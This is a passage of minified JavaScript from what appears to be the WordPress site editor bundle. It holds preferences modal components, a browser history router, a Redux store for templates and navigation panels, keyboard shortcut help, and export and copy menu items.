ce=e=>{let{description:t,title:n,children:l}=e;return(0,o.createElement)("fieldset",{className:"interface-preferences-modal__section"},(0,o.createElement)("legend",{className:"interface-preferences-modal__section-legend"},(0,o.createElement)("h2",{className:"interface-preferences-modal__section-title"},n),t&&(0,o.createElement)("p",{className:"interface-preferences-modal__section-description"},t)),l)},ue=function(e){let{help:t,label:n,isChecked:l,onChange:a,children:r}=e;return(0,o.createElement)("div",{className:"interface-preferences-modal__option"},(0,o.createElement)(_.ToggleControl,{__nextHasNoMarginBottom:!0,help:t,label:n,checked:l,onChange:a}),r)},me=window.wp.url,de=window.wp.hooks,pe=window.wp.mediaUtils;(0,de.addFilter)("editor.MediaUpload","core/edit-site/components/media-upload",(()=>pe.MediaUpload));const ge=window.wp.blockEditor;var _e,he=_e||(_e={});he.Pop="POP",he.Push="PUSH",he.Replace="REPLACE";function fe(e){e.preventDefault(),e.returnValue=""}function Ee(){var e=[];return{get length(){return e.length},push:function(t){return e.push(t),function(){e=e.filter((function(e){return e!==t}))}},call:function(t){e.forEach((function(e){return e&&e(t)}))}}}const ve=function(e){function t(){var e=o.location,t=i.state||{};return[t.idx,{pathname:e.pathname,search:e.search,hash:e.hash,state:t.usr||null,key:t.key||"default"}]}function n(e){return"string"==typeof e?e:function(e){var t=e.pathname,n=e.search;return(void 0===t?"/":t)+(void 0===n?"":n)+(void 0===(e=e.hash)?"":e)}(e)}function l(e,t){return void 0===t&&(t=null),d({pathname:m.pathname,hash:"",search:""},"string"==typeof e?function(e){var t={};if(e){var n=e.indexOf("#");0<=n&&(t.hash=e.substr(n),e=e.substr(0,n)),0<=(n=e.indexOf("?"))&&(t.search=e.substr(n),e=e.substr(0,n)),e&&(t.pathname=e)}return t}(e):e,{state:t,key:Math.random().toString(36).substr(2,8)})}function a(e){c=e,e=t(),u=e[0],m=e[1],p.call({action:c,location:m})}function r(e){i.go(e)}void 0===e&&(e={});var o=void 0===(e=e.window)?document.defaultView:e,i=o.history,s=null;o.addEventListener("popstate",(function(){if(s)g.call(s),s=null;else{var e=_e.Pop,n=t(),l=n[0];if(n=n[1],g.length){if(null!=l){var o=u-l;o&&(s={action:e,location:n,retry:function(){r(-1*o)}},r(o))}}else a(e)}}));var c=_e.Pop,u=(e=t())[0],m=e[1],p=Ee(),g=Ee();return null==u&&(u=0,i.replaceState(d({},i.state,{idx:u}),"")),{get action(){return c},get location(){return m},createHref:n,push:function e(t,r){var s=_e.Push,c=l(t,r);if(!g.length||(g.call({action:s,location:c,retry:function(){e(t,r)}}),0)){var m=[{usr:c.state,key:c.key,idx:u+1},n(c)];c=m[0],m=m[1];try{i.pushState(c,"",m)}catch(e){o.location.assign(m)}a(s)}},replace:function e(t,r){var o=_e.Replace,s=l(t,r);g.length&&(g.call({action:o,location:s,retry:function(){e(t,r)}}),1)||(s=[{usr:s.state,key:s.key,idx:u},n(s)],i.replaceState(s[0],"",s[1]),a(o))},go:r,back:function(){r(-1)},forward:function(){r(1)},listen:function(e){return p.push(e)},block:function(e){var t=g.push(e);return 1===g.length&&o.addEventListener("beforeunload",fe),function(){t(),g.length||o.removeEventListener("beforeunload",fe)}}}}(),ye=ve.push,be=ve.replace;ve.push=function(e,t){return ye.call(ve,(0,me.addQueryArgs)(window.location.href,e),t)},ve.replace=function(e,t){return be.call(ve,(0,me.addQueryArgs)(window.location.href,e),t)};const we=ve,xe=(0,o.createContext)(),Se=(0,o.createContext)();function ke(){return(0,o.useContext)(xe)}function Ce(){return(0,o.useContext)(Se)}function Te(e){const t=new URLSearchParams(e.search);return{...e,params:Object.fromEntries(t.entries())}}function Ne(e){let{children:t}=e;const[n,l]=(0,o.useState)((()=>Te(we.location)));return(0,o.useEffect)((()=>we.listen((e=>{let{location:t}=e;l(Te(t))}))),[]),(0,o.createElement)(Se.Provider,{value:we},(0,o.createElement)(xe.Provider,{value:n},t(n)))}function Ie(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const l=Ce();function a(a){a.preventDefault(),n?l.replace(e,t):l.push(e,t)}return{href:(0,me.addQueryArgs)(window.location.href,e),onClick:a}}function Me(e){let{params:t={},state:n,replace:l=!1,children:a,...r}=e;const{href:i,onClick:s}=Ie(t,n,l);return(0,o.createElement)("a",d({href:i,onClick:s},r),a)}function Pe(e){let{attributes:t}=e;const{theme:n,slug:l}=t,{params:a}=ke(),r=(0,c.useSelect)((e=>e(u.store).getEntityRecord("postType","wp_template_part",`${n}//${l}`)),[n,l]),i=Ie({postId:null==r?void 0:r.id,postType:null==r?void 0:r.type},{fromTemplateId:a.postId});return r?(0,o.createElement)(ge.BlockControls,{group:"other"},(0,o.createElement)(_.ToolbarButton,d({},i,{onClick:e=>{i.onClick(e)}}),(0,h.__)("Edit"))):null}const Be=(0,J.createHigherOrderComponent)((e=>t=>{const{attributes:n,name:l}=t,a="core/template-part"===l&&n.slug;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(e,t),a&&(0,o.createElement)(Pe,{attributes:n}))}),"withEditBlockControls");(0,de.addFilter)("editor.BlockEdit","core/edit-site/template-part-edit-button",Be);const Ve="core/edit-site",ze="uncategorized",Ae=["index","singular","archive","single","page","home","404","search","author","category","taxonomy","date","tag","attachment","single","front-page"],Re=["page-home"],Le=["post-","author-","single-","tag-"],Oe=["page-"],Fe={singular:["single","page"],index:["archive","404","search","singular","home"],home:["front-page"]},De="root",Ge="templates-general",He=[{area:"header",menu:"template-parts-headers",title:(0,h.__)("headers")},{area:"footer",menu:"template-parts-footers",title:(0,h.__)("footers")},{area:"sidebar",menu:"template-parts-sidebars",title:(0,h.__)("sidebars")},{area:ze,menu:"template-parts-general",title:(0,h.__)("general")}],$e=(0,c.combineReducers)({deviceType:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"Desktop",t=arguments.length>1?arguments[1]:void 0;return"SET_PREVIEW_DEVICE_TYPE"===t.type?t.deviceType:e},settings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return"UPDATE_SETTINGS"===t.type?{...e,...t.settings}:e},editedPost:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_TEMPLATE":case"SET_PAGE":return{type:"wp_template",id:t.templateId,page:t.page};case"SET_TEMPLATE_PART":return{type:"wp_template_part",id:t.templatePartId}}return e},homeTemplateId:function(e,t){return"SET_HOME_TEMPLATE"===t.type?t.homeTemplateId:e},navigationPanel:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{menu:De,isOpen:!1},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_NAVIGATION_PANEL_ACTIVE_MENU":return{...e,menu:t.menu};case"OPEN_NAVIGATION_PANEL_TO_MENU":return{...e,isOpen:!0,menu:t.menu};case"SET_IS_NAVIGATION_PANEL_OPENED":return{...e,menu:t.isOpen?e.menu:De,isOpen:t.isOpen};case"SET_IS_LIST_VIEW_OPENED":return{...e,menu:e.isOpen&&t.isOpen?De:e.menu,isOpen:!t.isOpen&&e.isOpen};case"SET_IS_INSERTER_OPENED":return{...e,menu:e.isOpen&&t.value?De:e.menu,isOpen:!t.value&&e.isOpen}}return e},blockInserterPanel:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"OPEN_NAVIGATION_PANEL_TO_MENU":return!1;case"SET_IS_NAVIGATION_PANEL_OPENED":case"SET_IS_LIST_VIEW_OPENED":return!t.isOpen&&e;case"SET_IS_INSERTER_OPENED":return t.value}return e},listViewPanel:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"OPEN_NAVIGATION_PANEL_TO_MENU":return!1;case"SET_IS_NAVIGATION_PANEL_OPENED":return!t.isOpen&&e;case"SET_IS_INSERTER_OPENED":return!t.value&&e;case"SET_IS_LIST_VIEW_OPENED":return t.isOpen}return e}}),Ue=window.wp.apiFetch;var We=n.n(Ue);const je=window.wp.notices,qe=window.wp.a11y;function Ye(e){return!!e&&"custom"===(null==e?void 0:e.source)&&(null==e?void 0:e.has_theme_file)}function Xe(e){return function(t){let{registry:n}=t;S()("select( 'core/edit-site' ).toggleFeature( featureName )",{since:"6.0",alternative:"select( 'core/preferences').toggle( 'core/edit-site', featureName )"}),n.dispatch(k.store).toggle("core/edit-site",e)}}function Ke(e){return{type:"SET_PREVIEW_DEVICE_TYPE",deviceType:e}}const Ze=(e,t)=>async n=>{let{dispatch:l,registry:a}=n;if(!t){const n=await a.resolveSelect(u.store).getEntityRecord("postType","wp_template",e);t=null==n?void 0:n.slug}l({type:"SET_TEMPLATE",templateId:e,page:{context:{templateSlug:t}}})},Qe=e=>async t=>{let{dispatch:n,registry:l}=t;const a=await l.dispatch(u.store).saveEntityRecord("postType","wp_template",e);e.content&&l.dispatch(u.store).editEntityRecord("postType","wp_template",a.id,{blocks:(0,i.parse)(e.content)},{undoIgnore:!0}),n({type:"SET_TEMPLATE",templateId:a.id,page:{context:{templateSlug:a.slug}}})},Je=e=>async t=>{let{registry:n}=t;try{await n.dispatch(u.store).deleteEntityRecord("postType",e.type,e.id,{force:!0});const t=n.select(u.store).getLastEntityDeleteError("postType",e.type,e.id);if(t)throw t;n.dispatch(je.store).createSuccessNotice((0,h.sprintf)(
/* translators: The template/part's name. */
(0,h.__)('"%s" deleted.'),e.title.rendered),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("An error occurred while deleting the template.");n.dispatch(je.store).createErrorNotice(t,{type:"snackbar"})}};function et(e){return{type:"SET_TEMPLATE_PART",templatePartId:e}}function tt(e){return{type:"SET_HOME_TEMPLATE",homeTemplateId:e}}const nt=e=>async t=>{var n;let{dispatch:l,registry:a}=t;if(!e.path&&null!==(n=e.context)&&void 0!==n&&n.postId){const t=await a.resolveSelect(u.store).getEntityRecord("postType",e.context.postType||"post",e.context.postId);e.path=(0,me.getPathAndQueryString)(null==t?void 0:t.link)}const r=await a.resolveSelect(u.store).__experimentalGetTemplateForLink(e.path);if(r)return l({type:"SET_PAGE",page:r.slug?{...e,context:{...e.context,templateSlug:r.slug}}:e,templateId:r.id}),r.id};function lt(e){return{type:"SET_NAVIGATION_PANEL_ACTIVE_MENU",menu:e}}function at(e){return{type:"OPEN_NAVIGATION_PANEL_TO_MENU",menu:e}}function rt(e){return{type:"SET_IS_NAVIGATION_PANEL_OPENED",isOpen:e}}function ot(e){return{type:"SET_IS_INSERTER_OPENED",value:e}}function it(e){return{type:"UPDATE_SETTINGS",settings:e}}function st(e){return{type:"SET_IS_LIST_VIEW_OPENED",isOpen:e}}const ct=function(e){let{allowUndo:t=!0}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return async n=>{let{registry:l}=n;if(Ye(e))try{var a;const n=l.select(u.store).getEntityConfig("postType",e.type);if(!n)return void l.dispatch(je.store).createErrorNotice((0,h.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const r=(0,me.addQueryArgs)(`${n.baseURL}/${e.id}`,{context:"edit",source:"theme"}),o=await We()({path:r});if(!o)return void l.dispatch(je.store).createErrorNotice((0,h.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const s=e=>{let{blocks:t=[]}=e;return(0,i.__unstableSerializeAndClean)(t)},c=l.select(u.store).getEditedEntityRecord("postType",e.type,e.id);l.dispatch(u.store).editEntityRecord("postType",e.type,e.id,{content:s,blocks:c.blocks,source:"custom"},{undoIgnore:!0});const m=(0,i.parse)(null==o||null===(a=o.content)||void 0===a?void 0:a.raw);if(l.dispatch(u.store).editEntityRecord("postType",e.type,o.id,{content:s,blocks:m,source:"theme"}),t){const t=()=>{l.dispatch(u.store).editEntityRecord("postType",e.type,c.id,{content:s,blocks:c.blocks,source:"custom"})};l.dispatch(je.store).createSuccessNotice((0,h.__)("Template reverted."),{type:"snackbar",actions:[{label:(0,h.__)("Undo"),onClick:t}]})}else l.dispatch(je.store).createSuccessNotice((0,h.__)("Template reverted."))}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("Template revert failed. Please reload.");l.dispatch(je.store).createErrorNotice(t,{type:"snackbar"})}else l.dispatch(je.store).createErrorNotice((0,h.__)("This template is not revertable."),{type:"snackbar"})}},ut=e=>t=>{let{registry:n}=t;n.dispatch(O).enableComplementaryArea(Ve,e)},mt=()=>e=>{let{registry:t}=e;t.dispatch(O).disableComplementaryArea(Ve)},dt=e=>t=>{let{registry:n}=t;n.dispatch("core/preferences").set("core/edit-site","editorMode",e),"visual"!==e&&n.dispatch(ge.store).clearSelectedBlock(),"visual"===e?(0,qe.speak)((0,h.__)("Visual editor selected"),"assertive"):"mosaic"===e&&(0,qe.speak)((0,h.__)("Mosaic view selected"),"assertive")},pt=window.lodash;var gt={};function _t(e){return[e]}function ht(e,t,n){var l;if(e.length!==t.length)return!1;for(l=n;l<e.length;l++)if(e[l]!==t[l])return!1;return!0}function ft(e,t,n){return!!Fe[e]&&("home"===e&&"posts"!==n||Fe[e].every((e=>t.includes(e)||ft(e,t,n))))}const Et=(0,c.createRegistrySelector)((e=>(t,n)=>e(k.store).get("core/edit-site",n)));function vt(e,t){return S()("select( 'core/interface' ).isFeatureActive",{since:"6.0",alternative:"select( 'core/preferences' ).get"}),!!Et(e,t)}function yt(e){return e.deviceType}const bt=(0,c.createRegistrySelector)((e=>()=>e(u.store).canUser("create","media"))),wt=(0,c.createRegistrySelector)((e=>()=>"web"===o.Platform.OS?e(u.store).getEntityRecords("postType","wp_block",{per_page:-1}):[])),xt=function(e,t){var n,l=(e=>[bt(e),e.settings,Et(e,"focusMode"),Et(e,"fixedToolbar"),Et(e,"keepCaretInsideBlock"),Et(e,"showIconLabels"),wt(e),Ct(e)])||_t;function a(e){var t,l,a,r,o,i=n,s=!0;for(t=0;t<e.length;t++){if(!(o=l=e[t])||"object"!=typeof o){s=!1;break}i.has(l)?i=i.get(l):(a=new WeakMap,i.set(l,a),i=a)}return i.has(gt)||((r=function(){var e={clear:function(){e.head=null}};return e}()).isUniqueByDependants=s,i.set(gt,r)),i.get(gt)}function r(){n=new WeakMap}function o(){var t,n,r,o,i,s=arguments.length;for(o=new Array(s),r=0;r<s;r++)o[r]=arguments[r];for((t=a(i=l.apply(null,o))).isUniqueByDependants||(t.lastDependants&&!ht(i,t.lastDependants,0)&&t.clear(),t.lastDependants=i),n=t.head;n;){if(ht(n.args,o,1))return n!==t.head&&(n.prev.next=n.next,n.next&&(n.next.prev=n.prev),n.next=t.head,n.prev=null,t.head.prev=n,t.head=n),n.val;n=n.next}return n={val:e.apply(null,o)},o[0]=null,n.args=o,t.head&&(t.head.prev=n,n.next=t.head),t.head=n,n.val}return o.getDependants=l,o.clear=r,r(),o}(((e,t)=>{const n={...e.settings,outlineMode:!0,focusMode:!!Et(e,"focusMode"),hasFixedToolbar:!!Et(e,"fixedToolbar"),keepCaretInsideBlock:!!Et(e,"keepCaretInsideBlock"),showIconLabels:!!Et(e,"showIconLabels"),__experimentalSetIsInserterOpened:t,__experimentalReusableBlocks:wt(e),__experimentalPreferPatternsOnRoot:"wp_template"===Ct(e)};return bt(e)?(n.mediaUpload=t=>{let{onError:n,...l}=t;(0,pe.uploadMedia)({wpAllowedMimeTypes:e.settings.allowedMimeTypes,onError:e=>{let{message:t}=e;return n(t)},...l})},n):n}));function St(e){return e.homeTemplateId}function kt(e){return e.editedPost}function Ct(e){return kt(e).type}function Tt(e){return kt(e).id}function Nt(e){return kt(e).page}function It(e){return e.navigationPanel.menu}const Mt=(0,c.createRegistrySelector)((e=>t=>{const n=Ct(t),l=Tt(t),a=l?e(u.store).getEntityRecord("postType",n,l):null;if(!a)return De;var r;if("wp_template_part"===n)return(null===(r=He.find((e=>e.area===(null==a?void 0:a.area))))||void 0===r?void 0:r.menu)||"template-parts";const o=e(u.store).getEntityRecords("postType","wp_template"),i=e(u.store).getEditedEntityRecord("root","site").show_on_front;return ft(a.slug,(0,pt.map)(o,"slug"),i)?"templates-unused":(s=a.slug,Ae.includes(s)?"templates":Re.includes(s)?Ge:Le.some((e=>s.startsWith(e)))?"templates-posts":Oe.some((e=>s.startsWith(e)))?"templates-pages":Ge);var s}));function Pt(e){return e.navigationPanel.isOpen}function Bt(e){return!!e.blockInserterPanel}function Vt(e){const{rootClientId:t,insertionIndex:n,filterValue:l}=e.blockInserterPanel;return{rootClientId:t,insertionIndex:n,filterValue:l}}function zt(e){return e.listViewPanel}const At=(0,c.createRegistrySelector)((e=>t=>{var n;const l=Ct(t),a=Tt(t),r=e(u.store).getEditedEntityRecord("postType",l,a),o=e(u.store).getEntityRecords("postType","wp_template_part",{per_page:-1}),s=o?o.reduce(((e,t)=>({...e,[t.id]:t})),{}):{};return(null!==(n=r.blocks)&&void 0!==n?n:[]).filter((e=>(0,i.isTemplatePart)(e))).map((e=>{const{attributes:{theme:t,slug:n}}=e;return{templatePart:s[`${t}//${n}`],block:e}})).filter((e=>{let{templatePart:t}=e;return!!t}))}));function Rt(e){return Et(e,"editorMode")}const Lt={reducer:$e,actions:a,selectors:r},Ot=(0,c.createReduxStore)(Ve,Lt);(0,c.register)(Ot);const Ft=window.wp.keyboardShortcuts,Dt=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z"})),Gt=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M13.8 5.2H3v1.5h10.8V5.2zm-3.6 12v1.5H21v-1.5H10.2zm7.2-6H6.6v1.5h10.8v-1.5z"})),Ht=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"m12 20-4.5-3.6-.9 1.2L12 22l5.5-4.4-.9-1.2L12 20zm0-16 4.5 3.6.9-1.2L12 2 6.5 6.4l.9 1.2L12 4z"})),$t=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z"})),Ut=window.wp.keycodes,Wt=[{keyCombination:{modifier:"primary",character:"b"},description:(0,h.__)("Make the selected text bold.")},{keyCombination:{modifier:"primary",character:"i"},description:(0,h.__)("Make the selected text italic.")},{keyCombination:{modifier:"primary",character:"k"},description:(0,h.__)("Convert the selected text into a link.")},{keyCombination:{modifier:"primaryShift",character:"k"},description:(0,h.__)("Remove a link.")},{keyCombination:{character:"[["},description:(0,h.__)("Insert a link to a post or page")},{keyCombination:{modifier:"primary",character:"u"},description:(0,h.__)("Underline the selected text.")},{keyCombination:{modifier:"access",character:"d"},description:(0,h.__)("Strikethrough the selected text.")},{keyCombination:{modifier:"access",character:"x"},description:(0,h.__)("Make the selected text inline code.")}];function jt(e){let{keyCombination:t,forceAriaLabel:n}=e;const l=t.modifier?Ut.displayShortcutList[t.modifier](t.character):t.character,a=t.modifier?Ut.shortcutAriaLabel[t.modifier](t.character):t.character;return(0,o.createElement)("kbd",{className:"edit-site-keyboard-shortcut-help-modal__shortcut-key-combination","aria-label":n||a},(0,pt.castArray)(l).map(((e,t)=>"+"===e?(0,o.createElement)(o.Fragment,{key:t},e):(0,o.createElement)("kbd",{key:t,className:"edit-site-keyboard-shortcut-help-modal__shortcut-key"},e))))}function qt(e){let{description:t,keyCombination:n,aliases:l=[],ariaLabel:a}=e;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:"edit-site-keyboard-shortcut-help-modal__shortcut-description"},t),(0,o.createElement)("div",{className:"edit-site-keyboard-shortcut-help-modal__shortcut-term"},(0,o.createElement)(jt,{keyCombination:n,forceAriaLabel:a}),l.map(((e,t)=>(0,o.createElement)(jt,{keyCombination:e,forceAriaLabel:a,key:t})))))}function Yt(e){let{name:t}=e;const{keyCombination:n,description:l,aliases:a}=(0,c.useSelect)((e=>{const{getShortcutKeyCombination:n,getShortcutDescription:l,getShortcutAliases:a}=e(Ft.store);return{keyCombination:n(t),aliases:a(t),description:l(t)}}),[t]);return n?(0,o.createElement)(qt,{keyCombination:n,description:l,aliases:a}):null}const Xt=e=>{let{shortcuts:t}=e;return(0,o.createElement)("ul",{className:"edit-site-keyboard-shortcut-help-modal__shortcut-list",role:"list"},t.map(((e,t)=>(0,o.createElement)("li",{className:"edit-site-keyboard-shortcut-help-modal__shortcut",key:t},"string"==typeof e?(0,o.createElement)(Yt,{name:e}):(0,o.createElement)(qt,e)))))},Kt=e=>{let{title:t,shortcuts:n,className:l}=e;return(0,o.createElement)("section",{className:g()("edit-site-keyboard-shortcut-help-modal__section",l)},!!t&&(0,o.createElement)("h2",{className:"edit-site-keyboard-shortcut-help-modal__section-title"},t),(0,o.createElement)(Xt,{shortcuts:n}))},Zt=e=>{let{title:t,categoryName:n,additionalShortcuts:l=[]}=e;const a=(0,c.useSelect)((e=>e(Ft.store).getCategoryShortcuts(n)),[n]);return(0,o.createElement)(Kt,{title:t,shortcuts:a.concat(l)})};function Qt(e){let{isModalActive:t,toggleModal:n}=e;return t?(0,o.createElement)(_.Modal,{className:"edit-site-keyboard-shortcut-help-modal",title:(0,h.__)("Keyboard shortcuts"),closeLabel:(0,h.__)("Close"),onRequestClose:n},(0,o.createElement)(Kt,{className:"edit-site-keyboard-shortcut-help-modal__main-shortcuts",shortcuts:["core/edit-site/keyboard-shortcuts"]}),(0,o.createElement)(Zt,{title:(0,h.__)("Global shortcuts"),categoryName:"global"}),(0,o.createElement)(Zt,{title:(0,h.__)("Selection shortcuts"),categoryName:"selection"}),(0,o.createElement)(Zt,{title:(0,h.__)("Block shortcuts"),categoryName:"block",additionalShortcuts:[{keyCombination:{character:"/"},description:(0,h.__)("Change the block type after adding a new paragraph."),
/* translators: The forward-slash character. e.g. '/'. */
ariaLabel:(0,h.__)("Forward-slash")}]}),(0,o.createElement)(Kt,{title:(0,h.__)("Text formatting"),shortcuts:Wt})):null}function Jt(e){const{featureName:t,...n}=e,l=(0,c.useSelect)((e=>!!e(k.store).get("core/edit-site",t)),[t]),{toggle:a}=(0,c.useDispatch)(k.store);return(0,o.createElement)(ue,d({onChange:()=>a("core/edit-site",t),isChecked:l},n))}function en(e){let{isModalActive:t,toggleModal:n}=e;const l=(0,o.useMemo)((()=>[{name:"general",tabLabel:(0,h.__)("General"),content:(0,o.createElement)(ce,{title:(0,h.__)("Appearance"),description:(0,h.__)("Customize options related to the block editor interface and editing flow.")},(0,o.createElement)(Jt,{featureName:"focusMode",help:(0,h.__)("Highlights the current block and fades other content."),label:(0,h.__)("Spotlight mode")}),(0,o.createElement)(Jt,{featureName:"showIconLabels",label:(0,h.__)("Show button text labels"),help:(0,h.__)("Show text instead of icons on buttons.")}),(0,o.createElement)(Jt,{featureName:"showListViewByDefault",help:(0,h.__)("Opens the block list view sidebar by default."),label:(0,h.__)("Always open list view")}))},{name:"blocks",tabLabel:(0,h.__)("Blocks"),content:(0,o.createElement)(ce,{title:(0,h.__)("Block interactions"),description:(0,h.__)("Customize how you interact with blocks in the block library and editing canvas.")},(0,o.createElement)(Jt,{featureName:"keepCaretInsideBlock",help:(0,h.__)("Aids screen readers by stopping text caret from leaving blocks."),label:(0,h.__)("Contain text cursor inside block")}))}]));return t?(0,o.createElement)(le,{closeModal:n},(0,o.createElement)(se,{sections:l})):null}const{Fill:tn,Slot:nn}=(0,_.createSlotFill)("EditSiteToolsMoreMenuGroup");tn.Slot=e=>{let{fillProps:t}=e;return(0,o.createElement)(nn,{fillProps:t},(e=>!(0,pt.isEmpty)(e)&&e))};const ln=tn;var an=n(8981),rn=n.n(an);const on=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z"}));function sn(){const{createErrorNotice:e}=(0,c.useDispatch)(je.store);return(0,o.createElement)(_.MenuItem,{role:"menuitem",icon:on,onClick:async function(){try{const e=await We()({path:"/wp-block-editor/v1/export",parse:!1,headers:{Accept:"application/zip"}}),t=await e.blob(),n=e.headers.get("content-disposition").match(/=(.+)\.zip/),l=n[1]?n[1]:"edit-site-export";rn()(t,l+".zip","application/zip")}catch(t){let n={};try{n=await t.json()}catch(e){}const l=n.message&&"unknown_error"!==n.code?n.message:(0,h.__)("An error occurred while creating the site export.");e(l,{type:"snackbar"})}},info:(0,h.__)("Download your theme with updated templates and styles.")},(0,h._x)("Export","site exporter menu item"))}function cn(){const{toggle:e}=(0,c.useDispatch)(k.store);return(0,o.createElement)(_.MenuItem,{onClick:()=>e("core/edit-site","welcomeGuide")},(0,h.__)("Welcome Guide"))}function un(){const{createNotice:e}=(0,c.useDispatch)(je.store),t=(0,c.useSelect)((e=>()=>{const{getEditedPostId:t,getEditedPostType:n}=e(Ot),{getEditedEntityRecord:l}=e(u.store),a=l("postType",n(),t());if(a){if("function"==typeof a.content)return a.content(a);if(a.blocks)return(0,i.__unstableSerializeAndClean)(a.blocks);if(a.content)return a.content}return""}),[]),n=(0,J.useCopyToClipboard)(t,(function(){e("info",(0,h.__)("All content copied."),{isDismissible:!0,type:"snackbar"})}));return(0,o.createElement)(_.MenuItem,{ref:n},(0,h.__)("Copy all blocks"))}const mn=[{value:"visual",label:(0,h.__)("Visual editor")},{value:"text",label:(0,h.__)("Code editor")}],dn=function(){const{shortcut:e,mode:t}=(0,c.useSelect)((e=>({shortcut:e(Ft.store).getShortcutRepresentation("core/edit-site/toggle-mode"),isRichEditingEnabled:e(Ot).getSettings().richEditingEnabled,isCodeEditingEnabled:e(Ot).getSettings().codeEditingEnabled,mode:e(Ot).getEditorMode()})),[]),{switchEditorMode:n}=(0,c.useDispatch)(Ot),l=mn.map((n=>n.value!==t?{...n,shortcut:e}:n));return(0,o.createElement)(_.MenuGroup,{label:(0,h.__)("Editor")},(0,o.createElement)(_.MenuItemsChoice,{choices:l,value:t,onSelect:n}))};function pn(e){let{showIconLabels:t}=e;const[n,l]=(0,o.useReducer)((e=>!e),!1),[a,r]=(0,o.useReducer)((e=>!e),!1);return(0,Ft.useShortcut)("core/edit-site/keyboard-shortcuts",l),(0,o.createElement)(o.Fragment,null,(0,o.createElement)(ne,{toggleProps:{showTooltip:!t,...t&&{variant:"tertiary"}}},(e=>{let{onClose:t}=e;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.MenuGroup,{label:(0,h._x)("View","noun")},(0,o.createElement)(k.PreferenceToggleMenuItem,{scope:"core/edit-site",name:"fixedToolbar",label:(0,h.__)("Top toolbar"),info:(0,h.__)("Access all block and document tools in a single place"),messageActivated:(0,h.__)("Top toolbar activated"),messageDeactivated:(0,h.__)("Top toolbar deactivated")}),(0,o.createElement)(k.PreferenceToggleMenuItem,{scope:"core/edit-site",name:"focusMode",label:(0,h.__)("Spotlight mode"),info:(0,h.__)("Focus on one block at a time"),messageActivated:(0,h.__)("Spotlight mode activated"),messageDeactivated:(0,h.__)("Spotlight mode deactivated")}),(0,o.createElement)(dn,null),(0,o.createElement)(W.Slot,{name:"core/edit-site/plugin-more-menu",label:(0,h.__)("Plugins"),as:_.MenuGroup,fillProps:{onClick:t}})),(0,o.createElement)(_.MenuGroup,{label:(0,h.__)("Tools")},(0,o.createElement)(sn,null),(0,o.createElement)(_.MenuItem,{onClick:l,shortcut:Ut.displayShortcut.access("h")},(0,h.__)("Keyboard shortcuts")),(0,o.createElement)(cn,null),(0,o.createElement)(un,null),(0,o.createElement)(_.MenuItem,{icon:$t,role:"menuitem",href:(0,h.__)("https://wordpress.org/support/article/site-editor/"),target:"_blank",rel:"noopener noreferrer"},(0,h.__)("Help"),(0,o.createElement)(_.VisuallyHidden,{as:"span"},
/* translators: accessibility text */
(0,h.__)("(opens in a new tab)"))),(0,o.createElement)(ln.Slot,{fillProps:{onClose:t}})),(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,{onClick:r},(0,h.__)("Preferences"))))})),(0,o.createElement)(Qt,{isModalActive:n,toggleModal:l}),(0,o.createElement)(en,{isModalActive:a,toggleModal:r}))}function gn(e){let{openEntitiesSavedStates:t,isEntitiesSavedStatesOpen:n}=e;const{isDirty:l,isSaving:a}=(0,c.useSelect)((e=>{const{__experimentalGetDirtyEntityRecords:t,isSavingEntityRecord:n}=e(u.store),l=t();return{isDirty:l.length>0,isSaving:(0,pt.some)(l,(e=>n(e.kind,e.name,e.key)))}}),[]),r=!l||a;return(0,o.createElement)(_.Button,{variant:"primary",className:"edit-site-save-button__button","aria-disabled":r,"aria-expanded":n,isBusy:a,onClick:r?void 0:t},(0,h.__)("Save"))}const hn=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M18.3 